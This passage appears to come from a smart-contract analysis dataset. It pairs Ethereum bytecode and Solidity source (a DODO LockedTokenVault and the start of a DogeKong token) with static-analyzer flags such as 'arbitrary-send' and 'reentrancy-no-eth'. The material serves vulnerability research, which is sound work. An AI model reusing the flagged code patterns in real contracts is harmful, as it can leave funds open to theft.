000000008152600401610937906117b3565b60405180910390fd5b61094981610fb1565b50565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156109dd5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1390611845565b60405180910390fd5b81600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610afa9190611492565b60405180910390a3600190509392505050565b6000600d6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600e6000600654815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161490506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bfc575080155b8015610c4757506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c5d5760065460035411610c5c57600080fd5b5b83600d6000600654815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d005750600083145b15610d5e57600354600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d569190611865565b925050819055505b600354600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610daf9190611865565b925050819055506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e06575060065483115b15610e1b57610e1483611075565b5050610fa4565b6000600354118015610e6c57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610ef5576000606460035485610e8391906118bb565b610e8d9190611944565b90508084610e9b91906116a1565b935080600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eec91906116a1565b92505081905550505b82600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f4491906116a1565b9250508190555082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f9a9190611865565b9250508190555050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561109257611091611975565b5b6040519080825280602002602001820160405280156110c05781602001602082028036833780820191505090505b50905030816000815181106110d8576110d76119a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561117f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a391906119e8565b816001815181106111b7576111b66119a4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061121e30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610972565b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b8152600401611283959493929190611b0e565b600060405180830381600087803b15801561129d57600080fd5b505af11580156112b1573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112f35780820151818401526020810190506112d8565b83811115611302576000848401525b50505050565b6000601f19601f8301169050919050565b6000611324826112b9565b61132e81856112c4565b935061133e8185602086016112d5565b61134781611308565b840191505092915050565b6000602082019050818103600083015261136c8184611319565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113a482611379565b9050919050565b6113b481611399565b81146113bf57600080fd5b50565b6000813590506113d1816113ab565b92915050565b6000819050919050565b6113ea816113d7565b81146113f557600080fd5b50565b600081359050611407816113e1565b92915050565b6000806040838503121561142457611423611374565b5b6000611432858286016113c2565b9250506020611443858286016113f8565b9150509250929050565b60008115159050919050565b6114628161144d565b82525050565b600060208201905061147d6000830184611459565b92915050565b61148c816113d7565b82525050565b60006020820190506114a76000830184611483565b92915050565b6000806000606084860312156114c6576114c5611374565b5b60006114d4868287016113c2565b93505060206114e5868287016113c2565b92505060406114f6868287016113f8565b9150509250925092565b61150981611399565b82525050565b60006020820190506115246000830184611500565b92915050565b6000602082840312156115405761153f611374565b5b600061154e848285016113c2565b91505092915050565b6000806040838503121561156e5761156d611374565b5b600061157c858286016113c2565b925050602061158d858286016113c2565b9150509250929050565b6000819050919050565b60006115bc6115b76115b284611379565b611597565b611379565b9050919050565b60006115ce826115a1565b9050919050565b60006115e0826115c3565b9050919050565b6115f0816115d5565b82525050565b600060208201905061160b60008301846115e7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061165857607f821691505b6020821081141561166c5761166b611611565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116ac826113d7565b91506116b7836113d7565b9250828210156116ca576116c9611672565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170b6020836112c4565b9150611716826116d5565b602082019050919050565b6000602082019050818103600083015261173a816116fe565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061179d6026836112c4565b91506117a882611741565b604082019050919050565b600060208201905081810360008301526117cc81611790565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061182f6024836112c4565b915061183a826117d3565b604082019050919050565b6000602082019050818103600083015261185e81611822565b9050919050565b6000611870826113d7565b915061187b836113d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b0576118af611672565b5b828201905092915050565b60006118c6826113d7565b91506118d1836113d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561190a57611909611672565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061194f826113d7565b915061195a836113d7565b92508261196a57611969611915565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e2816113ab565b92915050565b6000602082840312156119fe576119fd611374565b5b6000611a0c848285016119d3565b91505092915050565b6000819050919050565b6000611a3a611a35611a3084611a15565b611597565b6113d7565b9050919050565b611a4a81611a1f565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a8581611399565b82525050565b6000611a978383611a7c565b60208301905092915050565b6000602082019050919050565b6000611abb82611a50565b611ac58185611a5b565b9350611ad083611a6c565b8060005b83811015611b01578151611ae88882611a8b565b9750611af383611aa3565b925050600181019050611ad4565b5085935050505092915050565b600060a082019050611b236000830188611483565b611b306020830187611a41565b8181036040830152611b428186611ab0565b9050611b516060830185611500565b611b5e6080830184611483565b969550505050505056fea2646970667358221220d2aef86dbc8440e183a7507fb3b7b64a78783088a8bce6fd5ee8be98ce46daa964736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,266 |
0xbc1d41b7f82d0351fbd971ad7610039fd2ce7db6
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 constant ONE = 10**18;
function mul(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / ONE;
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(ONE);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(ONE).divCeil(d);
}
}
// File: contracts/lib/Ownable.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "INVALID_OWNER");
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeERC20.sol
/*
Copyright 2020 DODO ZOO.
This is a simplified version of OpenZepplin's SafeERC20 library
*/
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/token/LockedTokenVault.sol
/*
Copyright 2020 DODO ZOO.
*/
/**
* @title LockedTokenVault
* @author DODO Breeder
*
* @notice Lock Token and release it linearly
*/
contract LockedTokenVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address _TOKEN_;
mapping(address => uint256) internal originBalances;
mapping(address => uint256) internal claimedBalances;
uint256 public _UNDISTRIBUTED_AMOUNT_;
uint256 public _START_RELEASE_TIME_;
uint256 public _RELEASE_DURATION_;
uint256 public _CLIFF_RATE_;
bool public _DISTRIBUTE_FINISHED_;
// ============ Modifiers ============
event Claim(address indexed holder, uint256 origin, uint256 claimed, uint256 amount);
// ============ Modifiers ============
modifier beforeStartRelease() {
require(block.timestamp < _START_RELEASE_TIME_, "RELEASE START");
_;
}
modifier afterStartRelease() {
require(block.timestamp >= _START_RELEASE_TIME_, "RELEASE NOT START");
_;
}
modifier distributeNotFinished() {
require(!_DISTRIBUTE_FINISHED_, "DISTRIBUTE FINISHED");
_;
}
// ============ Init Functions ============
constructor(
address _token,
uint256 _startReleaseTime,
uint256 _releaseDuration,
uint256 _cliffRate
) public {
_TOKEN_ = _token;
_START_RELEASE_TIME_ = _startReleaseTime;
_RELEASE_DURATION_ = _releaseDuration;
_CLIFF_RATE_ = _cliffRate;
}
function deposit(uint256 amount) external onlyOwner {
_tokenTransferIn(_OWNER_, amount);
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
function withdraw(uint256 amount) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
_tokenTransferOut(_OWNER_, amount);
}
function finishDistribute() external onlyOwner {
_DISTRIBUTE_FINISHED_ = true;
}
// ============ For Owner ============
function grant(address[] calldata holderList, uint256[] calldata amountList)
external
onlyOwner
{
require(holderList.length == amountList.length, "batch grant length not match");
uint256 amount = 0;
for (uint256 i = 0; i < holderList.length; ++i) {
// for saving gas, no event for grant
originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);
amount = amount.add(amountList[i]);
}
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
}
function recall(address holder) external onlyOwner distributeNotFinished {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(originBalances[holder]).sub(
claimedBalances[holder]
);
originBalances[holder] = 0;
claimedBalances[holder] = 0;
}
// ============ For Holder ============
function transferLockedToken(address to) external {
originBalances[to] = originBalances[to].add(originBalances[msg.sender]);
claimedBalances[to] = claimedBalances[to].add(claimedBalances[msg.sender]);
originBalances[msg.sender] = 0;
claimedBalances[msg.sender] = 0;
}
function claim() external {
uint256 claimableToken = getClaimableBalance(msg.sender);
_tokenTransferOut(msg.sender, claimableToken);
claimedBalances[msg.sender] = claimedBalances[msg.sender].add(claimableToken);
emit Claim(
msg.sender,
originBalances[msg.sender],
claimedBalances[msg.sender],
claimableToken
);
}
// ============ View ============
function isReleaseStart() external view returns (bool) {
return block.timestamp >= _START_RELEASE_TIME_;
}
function getOriginBalance(address holder) external view returns (uint256) {
return originBalances[holder];
}
function getClaimedBalance(address holder) external view returns (uint256) {
return claimedBalances[holder];
}
function getClaimableBalance(address holder) public view returns (uint256) {
uint256 remainingToken = getRemainingBalance(holder);
return originBalances[holder].sub(remainingToken).sub(claimedBalances[holder]);
}
function getRemainingBalance(address holder) public view returns (uint256) {
uint256 remainingRatio = getRemainingRatio(block.timestamp);
return DecimalMath.mul(originBalances[holder], remainingRatio);
}
function getRemainingRatio(uint256 timestamp) public view returns (uint256) {
if (timestamp < _START_RELEASE_TIME_) {
return DecimalMath.ONE;
}
uint256 timePast = timestamp.sub(_START_RELEASE_TIME_);
if (timePast < _RELEASE_DURATION_) {
uint256 remainingTime = _RELEASE_DURATION_.sub(timePast);
return DecimalMath.ONE.sub(_CLIFF_RATE_).mul(remainingTime).div(_RELEASE_DURATION_);
} else {
return 0;
}
}
// ============ Internal Helper ============
function _tokenTransferIn(address from, uint256 amount) internal {
IERC20(_TOKEN_).safeTransferFrom(from, address(this), amount);
}
function _tokenTransferOut(address to, uint256 amount) internal {
IERC20(_TOKEN_).safeTransfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101415760003560e01c80637db41eae116100b8578063cd32f0861161007c578063cd32f08614610250578063cf0e80fe14610258578063d18284961461026b578063e5612b3b1461027e578063ef90364214610286578063f2fde38b1461028e57610141565b80637db41eae146101fc5780638456db151461020f578063b6b55f2514610217578063c2ae16801461022a578063ca4305191461023d57610141565b80632a8b04801161010a5780632a8b0480146101a75780632e1a7d4d146101af5780634e71d92d146101c45780634e71e0c8146101cc5780636a4de5d1146101d4578063710475f6146101e757610141565b80621bf8f61461014657806306def8021461016f57806316048bc41461018257806324b3274114610197578063294dafc01461019f575b600080fd5b610159610154366004610c58565b6102a1565b6040516101669190610f9a565b60405180910390f35b61015961017d366004610c58565b6102dc565b61018a610330565b6040516101669190610d59565b61015961033f565b610159610345565b61015961034b565b6101c26101bd366004610d08565b610351565b005b6101c26103b3565b6101c2610449565b6101596101e2366004610d08565b6104d7565b6101ef61057f565b6040516101669190610daa565b6101c261020a366004610c58565b610588565b61018a61062c565b6101c2610225366004610d08565b61063b565b6101c2610238366004610c7f565b610694565b6101c261024b366004610c58565b6107d6565b6101ef61088a565b610159610266366004610c58565b610893565b610159610279366004610c58565b6108ae565b6101c26108c9565b610159610902565b6101c261029c366004610c58565b610908565b6000806102ad426104d7565b6001600160a01b0384166000908152600360205260409020549091506102d390826109b3565b9150505b919050565b6000806102e8836102a1565b6001600160a01b0384166000908152600460209081526040808320546003909252909120549192506102d391610324908463ffffffff6109df16565b9063ffffffff6109df16565b6000546001600160a01b031681565b60055481565b60085481565b60065481565b6000546001600160a01b031633146103845760405162461bcd60e51b815260040161037b90610eb0565b60405180910390fd5b600554610397908263ffffffff6109df16565b6005556000546103b0906001600160a01b031682610a07565b50565b60006103be336102dc565b90506103ca3382610a07565b336000908152600460205260409020546103ea908263ffffffff610a2816565b336000818152600460208181526040808420869055600382529283902054919052905191927f45c072aa05b9853b5a993de7a28bc332ee01404a628cec1a23ce0f659f842ef19261043e9291908690610fa3565b60405180910390a250565b6001546001600160a01b031633146104735760405162461bcd60e51b815260040161037b90610db5565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60006006548210156104f25750670de0b6b3a76400006102d7565b6000610509600654846109df90919063ffffffff16565b90506007548110156105755760075460009061052b908363ffffffff6109df16565b905061056c60075461056083610554600854670de0b6b3a76400006109df90919063ffffffff16565b9063ffffffff610a5416565b9063ffffffff610a8e16565b925050506102d7565b60009150506102d7565b60095460ff1681565b33600090815260036020526040808220546001600160a01b03841683529120546105b79163ffffffff610a2816565b6001600160a01b038216600081815260036020908152604080832094909455338252600490528281205491815291909120546105f89163ffffffff610a2816565b6001600160a01b03909116600090815260046020818152604080842094909455338352600381528383208390555290812055565b6001546001600160a01b031681565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161037b90610eb0565b60005461067b906001600160a01b031682610ab8565b60055461068e908263ffffffff610a2816565b60055550565b6000546001600160a01b031633146106be5760405162461bcd60e51b815260040161037b90610eb0565b8281146106dd5760405162461bcd60e51b815260040161037b90610f63565b6000805b848110156107b85761074a8484838181106106f857fe5b905060200201356003600089898681811061070f57fe5b90506020020160208101906107249190610c58565b6001600160a01b031681526020810191909152604001600020549063ffffffff610a2816565b6003600088888581811061075a57fe5b905060200201602081019061076f9190610c58565b6001600160a01b031681526020810191909152604001600020556107ae84848381811061079857fe5b9050602002013583610a2890919063ffffffff16565b91506001016106e1565b506005546107cc908263ffffffff6109df16565b6005555050505050565b6000546001600160a01b031633146108005760405162461bcd60e51b815260040161037b90610eb0565b60095460ff16156108235760405162461bcd60e51b815260040161037b90610ddc565b6001600160a01b0381166000908152600460209081526040808320546003909252909120546005546108609291610324919063ffffffff610a2816565b6005556001600160a01b031660009081526003602090815260408083208390556004909152812055565b60065442101590565b6001600160a01b031660009081526004602052604090205490565b6001600160a01b031660009081526003602052604090205490565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161037b90610eb0565b6009805460ff19166001179055565b60075481565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161037b90610eb0565b6001600160a01b0381166109585760405162461bcd60e51b815260040161037b90610e89565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000670de0b6b3a76400006109ce848463ffffffff610a5416565b816109d557fe5b0490505b92915050565b600082821115610a015760405162461bcd60e51b815260040161037b90610e66565b50900390565b600254610a24906001600160a01b0316838363ffffffff610ad616565b5050565b600082820183811015610a4d5760405162461bcd60e51b815260040161037b90610ed3565b9392505050565b600082610a63575060006109d9565b82820282848281610a7057fe5b0414610a4d5760405162461bcd60e51b815260040161037b90610f40565b6000808211610aaf5760405162461bcd60e51b815260040161037b90610e3e565b8183816109d557fe5b600254610a24906001600160a01b031683308463ffffffff610b3116565b610b2c8363a9059cbb60e01b8484604051602401610af5929190610d91565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610b58565b505050565b610b52846323b872dd60e01b858585604051602401610af593929190610d6d565b50505050565b60006060836001600160a01b031683604051610b749190610d20565b6000604051808303816000865af19150503d8060008114610bb1576040519150601f19603f3d011682016040523d82523d6000602084013e610bb6565b606091505b509150915081610bd85760405162461bcd60e51b815260040161037b90610e09565b805115610b525780806020019051810190610bf39190610ce8565b610b525760405162461bcd60e51b815260040161037b90610ef6565b60008083601f840112610c20578182fd5b50813567ffffffffffffffff811115610c37578182fd5b6020830191508360208083028501011115610c5157600080fd5b9250929050565b600060208284031215610c69578081fd5b81356001600160a01b0381168114610a4d578182fd5b60008060008060408587031215610c94578283fd5b843567ffffffffffffffff80821115610cab578485fd5b610cb788838901610c0f565b90965094506020870135915080821115610ccf578384fd5b50610cdc87828801610c0f565b95989497509550505050565b600060208284031215610cf9578081fd5b81518015158114610a4d578182fd5b600060208284031215610d19578081fd5b5035919050565b60008251815b81811015610d405760208186018101518583015201610d26565b81811115610d4e5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b602080825260139082015272111254d5149250955511481192539254d21151606a1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b6020808252601c908201527f6261746368206772616e74206c656e677468206e6f74206d6174636800000000604082015260600190565b90815260200190565b928352602083019190915260408201526060019056fea2646970667358221220099f501a3bff20045bde382cf2d1c4d19d2b42438f69ae9d3875657b206d94b364736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,267 |
0xc7a552e74f58a7c279c4cf62f8b33e15714ca8e7
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract DogeKong is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
